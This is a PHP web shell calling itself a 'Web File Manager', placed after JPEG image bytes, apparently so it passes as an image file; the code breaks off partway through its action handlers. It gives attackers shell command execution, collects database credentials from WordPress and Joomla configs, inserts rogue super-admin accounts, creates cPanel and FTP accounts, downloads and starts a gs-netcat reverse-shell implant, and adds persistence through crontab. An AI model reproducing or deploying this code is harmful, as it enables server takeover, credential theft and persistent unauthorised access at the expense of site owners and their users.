JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
<?php
/**
* ============================================================
* WEB FILE MANAGER — Professional Edition v1.2
* ============================================================
* Author : HackerAI
* Purpose : Authorized web-server management (pentest / admin)
*
* Login credentials
* Username : admin
* Password : fakesmile1337
*
* Features :
* - Secure session-based login (bcrypt) + CSRF protection
* - Filesystem directory explorer (tree sidebar / breadcrumbs)
* - File LOCK (protected from delete/rename/overwrite)
* - Upload, create, rename, delete, copy, move, edit, chmod,
* download, zip/unzip, terminal, search, server info
* - CMS AUTO CONFIG GRABBER (WordPress wp-config.php,
* Joomla configuration.php, cPanel)
* - ADD ADMIN: WordPress / Joomla / cPanel (WHM)
* - AUTO GSOCKET (install + reverse-shell implant)
* - AUTO CRONTAB (persistence)
* ============================================================
*/
error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('max_execution_time', '300');
ini_set('memory_limit', '256M');
@set_time_limit(300);
session_start();
/* ----------------------------- CONFIG ----------------------------- */
$CONFIG = [
'username' => 'admin',
'password' => '$2y$12$3ScPvWpOeIRimEsUstS0lOyeocVudfQxT53o.pm.Im7LTDOefTkXG', // bcrypt of fakesmile1337
'start_dir' => dirname(__FILE__),
'hidden' => ['.htaccess', '.htpasswd'],
'ext_edit' => ['php','php3','php4','php5','phtml','txt','html','htm','css','js','json','xml','yml','yaml','ini','conf','cfg','log','sql','md','sh','py','pl','rb','c','cpp','h','htaccess','env','ts','vue','jsx','tsx','twig','blade.php','shtml','cgi'],
];
define('START_DIR', rtrim(str_replace('\\', '/', realpath($CONFIG['start_dir']) ?: $CONFIG['start_dir']), '/'));
define('LOCK_FILE', START_DIR . '/.locks.json');
/* --------------------------- HELPERS ------------------------------- */
function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function csrf_token() {
if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(24)); }
return $_SESSION['csrf'];
}
function csrf_ok() {
return isset($_POST['csrf']) && hash_equals($_SESSION['csrf'] ?? '', $_POST['csrf']);
}
function human_size($b) {
if (!is_numeric($b)) return '-';
$u = ['B','KB','MB','GB','TB','PB'];
$i = 0;
while ($b >= 1024 && $i < 5) { $b /= 1024; $i++; }
return round($b, 2) . ' ' . $u[$i];
}
function normalize_path($p) {
$p = str_replace('\\', '/', $p);
$p = '/' . ltrim($p, '/');
$parts = [];
foreach (explode('/', $p) as $seg) {
if ($seg === '' || $seg === '.') continue;
if ($seg === '..') { array_pop($parts); continue; }
$parts[] = $seg;
}
return '/' . implode('/', $parts);
}
function safe_path($p) {
if (!is_string($p) || $p === '') return false;
$p = str_replace('\\', '/', $p);
if ($p[0] !== '/') $p = '/' . $p;
$p = normalize_path($p);
if ($p === '/') return '/';
$real = realpath($p);
if ($real !== false) return $real;
$dir = realpath(dirname($p));
if ($dir === false) return false;
return $p;
}
function current_dir() {
$dir = (isset($_GET['dir']) && $_GET['dir'] !== '') ? (string)$_GET['dir'] : START_DIR;
$abs = safe_path($dir);
if ($abs === false || !is_dir($abs)) { $abs = START_DIR; }
return rtrim($abs, '/') ?: '/';
}
function breadcrumbs($dir) {
$dir = rtrim($dir, '/');
if ($dir === '') $dir = '/';
$parts = array_filter(explode('/', $dir));
$out = '<a href="?dir=' . urlencode('/') . '">/</a>';
$acc = '';
foreach ($parts as $seg) {
$acc .= '/' . $seg;
$out .= '<span class="sep">/</span><a href="?dir=' . urlencode($acc) . '">' . h($seg) . '</a>';
}
return $out;
}
function flash($msg, $type = 'info') {
$_SESSION['flash'][] = ['t' => $type, 'm' => $msg];
}
function render_flash() {
if (empty($_SESSION['flash'])) return '';
$html = '';
foreach ($_SESSION['flash'] as $f) {
$html .= '<div class="alert alert-' . $f['t'] . '">' . h($f['m']) . '</div>';
}
$_SESSION['flash'] = [];
return $html;
}
function is_hidden($name) {
global $CONFIG;
return in_array($name, $CONFIG['hidden'], true) || strpos($name, '.') === 0;
}
function has_subdir($p) {
if (!is_dir($p)) return false;
foreach (scandir($p) as $n) {
if ($n === '.' || $n === '..' || is_hidden($n)) continue;
if (is_dir(rtrim($p, '/') . '/' . $n)) return true;
}
return false;
}
/* ---------------------- LOCK MANAGEMENT ---------------------------- */
function load_locks() {
if (is_file(LOCK_FILE)) {
$j = json_decode((string)file_get_contents(LOCK_FILE), true);
return is_array($j) ? array_values(array_unique($j)) : [];
}
return [];
}
function save_locks($locks) {
@file_put_contents(LOCK_FILE, json_encode(array_values(array_unique($locks)), JSON_PRETTY_PRINT));
}
function is_locked($abs) {
return in_array($abs, load_locks(), true);
}
function is_locked_path($abs) {
$abs = rtrim($abs, '/');
foreach (load_locks() as $l) {
if ($l === $abs || strpos($l, $abs . '/') === 0) return true;
}
return false;
}
/* --------------------- PHPPASS (WP / Joomla3) ---------------------- */
function phpass_hash($password) {
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$random = '';
if (is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) {
$random = fread($fh, 6);
fclose($fh);
}
if (strlen($random) < 6) {
$random = '';
$seed = microtime() . (function_exists('getmypid') ? getmypid() : '');
for ($i = 0; $i < 3; $i++) { $seed = md5($seed . $password . $i); $random .= substr($seed, 0, 8); }
$random = substr($random, 0, 6);
}
$encode = function ($input, $count) use ($itoa64) {
$o = ''; $i = 0;
do {
$v = ord($input[$i++]);
$o .= $itoa64[$v & 0x3f];
if ($i < $count) $v |= ord($input[$i]) << 8;
$o .= $itoa64[($v >> 6) & 0x3f];
if ($i++ >= $count) break;
if ($i < $count) $v |= ord($input[$i]) << 16;
$o .= $itoa64[($v >> 12) & 0x3f];
if ($i++ >= $count) break;
$o .= $itoa64[($v >> 18) & 0x3f];
} while ($i < $count);
return $o;
};
$count_log2 = 8;
$salt = $encode($random, 6);
$setting = '$P$' . $itoa64[$count_log2 + 5] . $salt;
$count = 1 << ($count_log2 + 5);
$hash = md5($salt . $password, true);
do { $hash = md5($hash . $password, true); } while (--$count);
return $setting . $encode($hash, 16);
}
/* -------------------- CMS DETECTION / CONFIG ----------------------- */
function scan_roots() {
$roots = [START_DIR, dirname(START_DIR), getcwd(), '/var/www', '/var/www/html', '/var/www/vhosts', '/usr/share/nginx/html', '/srv/www', '/srv/http'];
foreach (glob('/home/*/public_html') as $d) $roots[] = $d;
foreach (glob('/home/*/www') as $d) $roots[] = $d;
foreach (glob('/home/*/public_html/*') as $d) $roots[] = $d;
foreach (glob('/home/*/domains/*/public_html') as $d) $roots[] = $d;
$roots = array_values(array_unique(array_filter(array_map(function($d){return rtrim($d,'/');}, $roots), function($d){ return @is_dir($d) && @is_readable($d); })));
return $roots;
}
function find_wp_configs() {
$found = [];
foreach (scan_roots() as $root) {
foreach (['wp-config.php', 'wordpress/wp-config.php', 'wp/wp-config.php', 'blog/wp-config.php'] as $rel) {
$p = $root . '/' . $rel;
if (@is_file($p) && @is_readable($p)) $found[] = $p;
}
foreach (glob($root . '/*/wp-config.php') as $p) $found[] = $p;
}
return array_values(array_unique($found));
}
function find_joomla_configs() {
$found = [];
foreach (scan_roots() as $root) {
foreach (['configuration.php', 'joomla/configuration.php', 'site/configuration.php', 'administrator/../configuration.php'] as $rel) {
$p = $root . '/' . $rel;
if (@is_file($p) && @is_readable($p)) $found[] = $p;
}
foreach (glob($root . '/*/configuration.php') as $p) $found[] = $p;
}
return array_values(array_unique($found));
}
function parse_wp_config($path) {
$c = @file_get_contents($path);
if ($c === false) return null;
$g = function ($key) use ($c) {
if (preg_match("/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $c, $m)) return $m[1];
if (preg_match("/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*([^\)]*)\s*\)/i", $c, $m)) return trim($m[1]);
return null;
};
$prefix = 'wp_';
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]*)[\'"]/', $c, $m)) $prefix = $m[1];
return [
'path' => $path,
'DB_NAME' => $g('DB_NAME'),
'DB_USER' => $g('DB_USER'),
'DB_PASSWORD' => $g('DB_PASSWORD'),
'DB_HOST' => $g('DB_HOST'),
'prefix' => $prefix,
'AUTH_KEY' => $g('AUTH_KEY'),
'SECURE_AUTH_KEY' => $g('SECURE_AUTH_KEY'),
];
}
function parse_joomla_config($path) {
$c = @file_get_contents($path);
if ($c === false) return null;
$g = function ($key) use ($c) {
if (preg_match('/public\s+\$' . preg_quote($key, '/') . '\s*=\s*[\'"]([^\'"]*)[\'"]/', $c, $m)) return $m[1];
return null;
};
return [
'path' => $path,
'db' => $g('db'),
'user' => $g('user'),
'password' => $g('password'),
'host' => $g('host'),
'dbprefix' => $g('dbprefix'),
'secret' => $g('secret'),
];
}
function joomla_version_hint($config_path) {
$base = dirname($config_path);
if (@is_file($base . '/libraries/src/Version.php')) return '4';
if (@is_file($base . '/libraries/joomla/version/version.php')) return '3';
return '3';
}
function detect_cpanel() {
$info = ['installed' => false, 'version' => null, 'hostname' => null, 'main_ip' => null, 'whm' => false, 'root' => (function_exists('posix_getuid') && posix_getuid() === 0)];
if (@is_dir('/usr/local/cpanel')) {
$info['installed'] = true;
$info['version'] = trim((string)@file_get_contents('/usr/local/cpanel/version'));
$info['whm'] = @is_dir('/usr/local/cpanel/whostmgr');
$info['hostname'] = function_exists('gethostname') ? gethostname() : null;
if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
$info['main_ip'] = trim((string)@shell_exec("awk -F= '/^ADDR/{print \$2}' /etc/wwwacct.conf 2>/dev/null"));
$info['whmapi'] = @is_file('/usr/local/cpanel/bin/whmapi1');
}
}
return $info;
}
/* --------------------- CMS ADMIN INJECTORS ------------------------- */
function wp_add_admin($wp, $username, $password, $email) {
if (!class_exists('mysqli')) return 'ERROR: mysqli extension not available in this PHP runtime.';
$mysqli = @new mysqli($wp['DB_HOST'], $wp['DB_USER'], $wp['DB_PASSWORD'], $wp['DB_NAME']);
if ($mysqli->connect_error) return 'DB connect failed: ' . $mysqli->connect_error;
$prefix = $mysqli->real_escape_string($wp['prefix']);
$user = $mysqli->real_escape_string($username);
$email = $mysqli->real_escape_string($email);
$hash = phpass_hash($password);
$now = date('Y-m-d H:i:s');
$res = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login='$user' LIMIT 1");
if ($res && $res->num_rows > 0) {
$id = (int)$res->fetch_assoc()['ID'];
$mysqli->query("UPDATE {$prefix}users SET user_pass='$hash', user_email='$email' WHERE ID=$id");
$msg = "User '$username' already existed (ID $id) — password reset to new value.";
} else {
$mysqli->query("INSERT INTO {$prefix}users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('$user','$hash','$user','$email','','$now',0,'$user')");
$id = (int)$mysqli->insert_id;
$msg = "WordPress admin '$username' created (ID $id).";
}
$cap = "a:1:{s:13:\"administrator\";b:1;}";
$mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($id, '{$prefix}capabilities', '$cap') ON DUPLICATE KEY UPDATE meta_value='$cap'");
$mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($id, '{$prefix}user_level', '10') ON DUPLICATE KEY UPDATE meta_value='10'");
$mysqli->close();
return $msg . " (Login: /wp-login.php)";
}
function joomla_add_admin($joomla, $username, $password, $name, $email, $ver) {
if (!class_exists('mysqli')) return 'ERROR: mysqli extension not available in this PHP runtime.';
$mysqli = @new mysqli($joomla['host'], $joomla['user'], $joomla['password'], $joomla['db']);
if ($mysqli->connect_error) return 'DB connect failed: ' . $mysqli->connect_error;
$prefix = $mysqli->real_escape_string($joomla['dbprefix']);
$user = $mysqli->real_escape_string($username);
$name = $mysqli->real_escape_string($name);
$email = $mysqli->real_escape_string($email);
$hash = ($ver === '4') ? password_hash($password, PASSWORD_BCRYPT) : phpass_hash($password);
$now = date('Y-m-d H:i:s');
$res = $mysqli->query("SELECT id FROM {$prefix}users WHERE username='$user' LIMIT 1");
if ($res && $res->num_rows > 0) {
$id = (int)$res->fetch_assoc()['id'];
$mysqli->query("UPDATE {$prefix}users SET password='$hash', email='$email', block=0, activation='' WHERE id=$id");
$msg = "User '$username' already existed (ID $id) — password reset.";
} else {
if ($ver === '4') {
$sql = "INSERT INTO {$prefix}users (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params, lastResetTime, resetCount, otpKey, otep, requireReset, authProvider) VALUES ('$name','$user','$email','$hash',0,0,'$now','$now','','{}','$now',0,'','',0,'')";
} else {
$sql = "INSERT INTO {$prefix}users (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params, lastResetTime, resetCount, otpKey, otep, requireReset) VALUES ('$name','$user','$email','$hash',0,0,'$now','$now','','{}','$now',0,'','',0)";
}
if (!$mysqli->query($sql)) return 'Insert failed: ' . $mysqli->error;
$id = (int)$mysqli->insert_id;
$msg = "Joomla super-user '$username' created (ID $id).";
}
$mysqli->query("INSERT INTO {$prefix}user_usergroup_map (user_id, group_id) VALUES ($id, 8) ON DUPLICATE KEY UPDATE group_id=8");
$mysqli->close();
return $msg . " (Login: /administrator)";
}
function cpanel_create_acct($domain, $username, $password, $plan) {
if (!(function_exists('posix_getuid') && posix_getuid() === 0)) return 'ERROR: requires root (uid 0) access to create a cPanel account.';
$bin = '/usr/local/cpanel/bin/whmapi1';
if (!@is_file($bin)) return 'ERROR: whmapi1 binary not found (not a cPanel/WHM server).';
$cmd = $bin . ' --output=json createacct username=' . escapeshellarg($username)
. ' domain=' . escapeshellarg($domain)
. ' password=' . escapeshellarg($password)
. ($plan !== '' ? ' plan=' . escapeshellarg($plan) : '')
. ' 2>&1';
return shell_exec($cmd);
}
function cpanel_add_ftp($cpanel_user, $ftp_user, $ftp_pass, $dir) {
$bin = '/usr/local/cpanel/bin/uapi';
if (!@is_file($bin)) return 'ERROR: uapi binary not found.';
$cmd = $bin . ' --user=' . escapeshellarg($cpanel_user)
. ' Ftp add_ftp user=' . escapeshellarg($ftp_user)
. ' pass=' . escapeshellarg($ftp_pass)
. ' homedir=' . escapeshellarg($dir) . ' quota=0 2>&1';
return shell_exec($cmd);
}
/* --------------------------- GSOCKET ------------------------------- */
function gsocket_install($secret, $kill_old = true) {
if (!function_exists('shell_exec') || in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
return 'ERROR: shell_exec disabled — cannot run GSocket.';
}
$arch = php_uname('m');
$map = ['x86_64'=>'x86_64','amd64'=>'x86_64','aarch64'=>'aarch64','arm64'=>'aarch64','armv7l'=>'armv7l','armv6l'=>'armv7l','i386'=>'i686','i486'=>'i686','i586'=>'i686','i686'=>'i686'];
$a = $map[$arch] ?? 'x86_64';
$bin = dirname(__FILE__) . '/.gs-netcat';
if (!@is_file($bin)) {
$url = "https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-{$a}";
$dl = shell_exec('curl -fsSL ' . escapeshellarg($url) . ' -o ' . escapeshellarg($bin) . ' 2>&1 && chmod +x ' . escapeshellarg($bin) . ' 2>&1');
if (!@is_file($bin)) return "Download failed.\nURL: $url\n$dl";
}
if ($kill_old) @shell_exec('pkill -f "gs-netcat -s" 2>/dev/null');
$sec = escapeshellarg($secret);
$pid = trim((string)shell_exec("nohup " . escapeshellarg($bin) . " -s $sec -i >/dev/null 2>&1 & echo \$!"));
return "GSocket implant started (PID $pid).\n\nAttacker connects with:\n gs-netcat -s $sec\n\nBinary: $bin (arch $a)";
}
/* --------------------------- CRONTAB ------------------------------- */
function cron_exec_allowed() {
return function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))));
}
function crontab_list() {
if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
return shell_exec('crontab -l 2>&1');
}
function crontab_add($schedule, $cmd) {
if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
$schedule = preg_replace('/\s+/', ' ', trim($schedule));
if (!preg_match('/^(@\w+|[0-9*,-\/ ]+)$/', $schedule)) return 'ERROR: invalid schedule.';
$entry = $schedule . ' ' . trim($cmd);
$out = shell_exec('(crontab -l 2>/dev/null; echo ' . escapeshellarg($entry) . ') | crontab - 2>&1');
return ($out === null || $out === '') ? "Cron entry added:\n$entry" : "Cron output:\n$out";
}
function crontab_clear() {
if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
return shell_exec('crontab -r 2>&1') ?: 'Crontab cleared.';
}
/* --------------------------- AUTH ---------------------------------- */
if (isset($_POST['action']) && $_POST['action'] === 'logout') {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
$authed = !empty($_SESSION['auth']);
if (!$authed && isset($_POST['username'], $_POST['password'])) {
$u = $_POST['username'];
$p = $_POST['password'];
if (hash_equals($CONFIG['username'], $u) && password_verify($p, $CONFIG['password'])) {
$_SESSION['auth'] = true;
session_regenerate_id(true);
$authed = true;
} else {
$login_error = 'Invalid username or password.';
}
}
/* ======================== ACTIONS (authed) ========================= */
if ($authed && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && csrf_ok()) {
$dir = current_dir();
$act = $_POST['action'];
/* ---- UPLOAD ---- */
if ($act === 'upload' && isset($_FILES['files'])) {
$n = 0;
foreach ((array)$_FILES['files']['name'] as $i => $name) {
if ($_FILES['files']['error'][$i] !== UPLOAD_ERR_OK) continue;
$name = basename($name);
$dest = $dir . '/' . $name;
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) $n++;
}
flash("Uploaded $n file(s).", $n ? 'success' : 'error');
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- CREATE FILE / DIR ---- */
if ($act === 'create') {
$name = basename($_POST['name'] ?? '');
$type = $_POST['type'] ?? 'file';
if ($name === '' || $name === '.' || $name === '..') {
flash('Invalid name.', 'error');
} else {
$target = $dir . '/' . $name;
if ($type === 'dir') {
if (!file_exists($target)) { mkdir($target, 0755, true) ? flash("Directory created: $name", 'success') : flash("Failed to create directory.", 'error'); }
else flash('Directory already exists.', 'error');
} else {
if (!file_exists($target)) { file_put_contents($target, '') !== false ? flash("File created: $name", 'success') : flash("Failed to create file.", 'error'); }
else flash('File already exists.', 'error');
}
}
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- SAVE EDITED FILE ---- */
if ($act === 'save') {
$p = safe_path($_POST['path'] ?? '');
if ($p && is_file($p)) {
if (is_locked($p)) {
flash('File is locked. Unlock it before editing.', 'error');
} elseif (is_writable($p)) {
file_put_contents($p, $_POST['content'] ?? '') !== false
? flash('File saved.', 'success')
: flash('Failed to save file.', 'error');
} else {
flash('File not writable.', 'error');
}
} else {
flash('File missing.', 'error');
}
header('Location: ?dir=' . urlencode(dirname($p ?: $dir))); exit;
}
/* ---- DELETE ---- */
if ($act === 'delete') {
$deleted = 0; $skipped = [];
foreach ((array)($_POST['items'] ?? []) as $it) {
$p = safe_path($it);
if (!$p || $p === '/') continue;
if (is_locked_path($p)) { $skipped[] = $p; continue; }
if (is_dir($p)) {
$it2 = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it2 as $f) { $f->isDir() ? rmdir($f->getPathname()) : unlink($f->getPathname()); }
rmdir($p);
} else {
unlink($p);
}
$deleted++;
}
if ($deleted) flash("Deleted $deleted item(s).", 'success');
if ($skipped) flash('Locked item(s) skipped (protected): ' . implode(', ', $skipped), 'error');
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- RENAME ---- */
if ($act === 'rename') {
$from = safe_path($_POST['from'] ?? '');
$to = basename($_POST['to'] ?? '');
if ($from && $to) {
if (is_locked_path($from)) {
flash('Cannot rename: the item is locked.', 'error');
} else {
rename($from, dirname($from) . '/' . $to) ? flash('Renamed.', 'success') : flash('Rename failed.', 'error');
}
}
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- COPY / MOVE ---- */
if ($act === 'copy' || $act === 'move') {
$dest = safe_path($_POST['dest'] ?? '');
$items = (array)($_POST['items'] ?? []);
$ok = 0; $skipped = [];
if ($dest && is_dir($dest)) {
foreach ($items as $it) {
$src = safe_path($it);
if (!$src || $src === '/') continue;
if ($act === 'move' && is_locked_path($src)) { $skipped[] = $src; continue; }
$dst = $dest . '/' . basename($src);
if ($act === 'copy') {
if (is_dir($src)) {
$it2 = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($src, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
mkdir($dst, 0777, true);
foreach ($it2 as $f) {
$rel = substr($f->getPathname(), strlen($src));
$target = $dst . $rel;
$f->isDir() ? mkdir($target, 0777, true) : copy($f->getPathname(), $target);
}
$ok++;
} elseif (copy($src, $dst)) { $ok++; }
} else {
if (rename($src, $dst)) $ok++;
}
}
}
flash(ucfirst($act) . " $ok item(s).", $ok ? 'success' : 'error');
if ($skipped) flash('Locked item(s) skipped (protected): ' . implode(', ', $skipped), 'error');
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- CHMOD ---- */
if ($act === 'chmod') {
$mode = intval($_POST['mode'] ?? '0755', 8);
$items = (array)($_POST['items'] ?? []);
$ok = 0;
foreach ($items as $it) {
$p = safe_path($it);
if ($p) { if (@chmod($p, $mode)) $ok++; }
}
flash("chmod applied to $ok item(s).", $ok ? 'success' : 'error');
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- LOCK / UNLOCK ---- */
if ($act === 'lock' || $act === 'unlock') {
$items = (array)($_POST['items'] ?? []);
$locks = load_locks();
$n = 0;
foreach ($items as $it) {
$p = safe_path($it);
if (!$p || $p === '/') continue;
if ($act === 'lock') {
if (!in_array($p, $locks, true)) { $locks[] = $p; $n++; }
} else {
$before = count($locks);
$locks = array_values(array_diff($locks, [$p]));
$n += $before - count($locks);
}
}
save_locks($locks);
flash(($act === 'lock' ? 'Locked' : 'Unlocked') . " $n item(s).", $n ? 'success' : 'error');
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- TERMINAL ---- */
if ($act === 'cmd') {
$cmd = $_POST['cmd'] ?? '';
$cwd = $dir;
if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
$output = shell_exec('cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1');
$output = $output === null ? '' : $output;
} elseif (function_exists('exec')) {
$out = [];
exec('cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1', $out, $code);
$output = implode("\n", $out);
} else {
$output = "ERROR: exec/shell_exec disabled. Command execution unavailable.";
}
$_SESSION['term_out'] = $output;
header('Location: ?dir=' . urlencode($dir) . '#terminal'); exit;
}
/* ---- ZIP ---- */
if ($act === 'zip') {
$items = (array)($_POST['items'] ?? []);
$zipName = basename($_POST['zipname'] ?: 'archive.zip');
$zipFile = $dir . '/' . $zipName;
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($items as $it) {
$p = safe_path($it);
if (!$p) continue;
if (is_dir($p)) {
$it2 = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($it2 as $f) {
$rel = basename($p) . '/' . substr($f->getPathname(), strlen($p) + 1);
if ($f->isDir()) $zip->addEmptyDir($rel);
else $zip->addFile($f->getPathname(), $rel);
}
} else {
$zip->addFile($p, basename($p));
}
}
$zip->close();
flash("Archive created: $zipName", 'success');
} else { flash('Zip failed.', 'error'); }
} else { flash('ZipArchive not available.', 'error'); }
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ---- UNZIP ---- */
if ($act === 'unzip') {
$p = safe_path($_POST['item'] ?? '');
if ($p && is_file($p) && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($p) === true) {
$zip->extractTo($dir);
$zip->close();
flash('Extracted.', 'success');
} else { flash('Unzip failed.', 'error'); }
} else { flash('ZipArchive not available or invalid file.', 'error'); }
header('Location: ?dir=' . urlencode($dir)); exit;
}
/* ============== NEW TOOLS: CMS / GSOCKET / CRONTAB ============== */
$redirect = '?dir=' . urlencode($dir) . '&tab=tools';
if ($act === 'grab_config') {
$wp = array_filter(array_map('parse_wp_config', find_wp_configs()));
$jo = array_filter(array_map('parse_joomla_config', find_joomla_configs()));
$cp = detect_cpanel();
$lines = [];
if ($wp) { $lines[] = 'WordPress config(s): ' . count($wp); foreach ($wp as $w) $lines[] = ' - ' . $w['path']; }
if ($jo) { $lines[] = 'Joomla config(s): ' . count($jo); foreach ($jo as $j) $lines[] = ' - ' . $j['path']; }
$lines[] = 'cPanel: ' . ($cp['installed'] ? 'installed (v' . $cp['version'] . ')' : 'not detected');
$_SESSION['tool_out'] = implode("\n", $lines) . "\n\nUse the auto-filled fields below.";
header('Location: ' . $redirect . '#configgrabber'); exit;
}
if ($act === 'wp_admin') {
$cfg = parse_wp_config($_POST['wp_path'] ?? '');
if (!$cfg) { flash('Invalid wp-config.php path.', 'error'); }
else {
$msg = wp_add_admin($cfg, $_POST['wp_user'] ?? '', $_POST['wp_pass'] ?? '', $_POST['wp_email'] ?? '');
$_SESSION['tool_out'] = $msg;
}
header('Location: ' . $redirect . '#wpadmin'); exit;
}
if ($act === 'joomla_admin') {
$cfg = parse_joomla_config($_POST['joomla_path'] ?? '');
if (!$cfg) { flash('Invalid configuration.php path.', 'error'); }
else {
